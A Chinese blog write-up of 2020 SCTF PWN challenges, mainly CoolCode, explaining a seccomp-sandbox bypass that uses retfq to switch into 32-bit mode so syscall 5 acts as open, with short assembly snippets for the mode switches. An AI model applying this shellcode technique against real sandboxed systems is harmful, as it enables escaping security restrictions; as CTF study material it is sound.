2020SCTF PWN部分wp

本文是作者对2020 SCTF中PWN部分的解题心得,主要涉及了CoolCode和Snake两道题目。在CoolCode中,由于沙盒限制,通过retfq修改CS寄存器实现模式切换来调用open函数。在Snake题目中,发现了一个单字节溢出和逻辑漏洞,导致buf指针指向已释放的内存。作者反思自身逆向工程能力不足,表达了对高手的敬佩。
摘要由CSDN通过智能技术生成

人在楼顶,感觉良好。
目前的自己还是只能做一些常规的Liunx下的PWN题,对其他的我就是个废物了。

这里写目录

CoolCode

这个题主要是shellcode非常的难构造。
比赛的时候whali3n51大师傅做出来的,我只是复现了他的payload。
本题目沙盒只剩下了0,1,5,9四个函数调用。

在这里插入图片描述
当我们想构造ORW的时候,没有open函数怎么办。
这个时候我们知道5在32位下是open。
那么我们考虑用retfq修改cs寄存器从而修改运行模式。
具体参考:https://xz.aliyun.com/t/6645#toc-5

将模式改为32位汇编(0x602710+0x8=0x23)

	mov esp, 0x1010101 /* 6301456 == 0x602710 */
	xor esp, 0x1612611
	retfq

将模式改为64位汇编(esp+0x4=0x33)

	push 0x33
	push 0x10703756
	pop eax
	xor eax,0x10101010
	add eax,0xc
	push eax
	retf

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值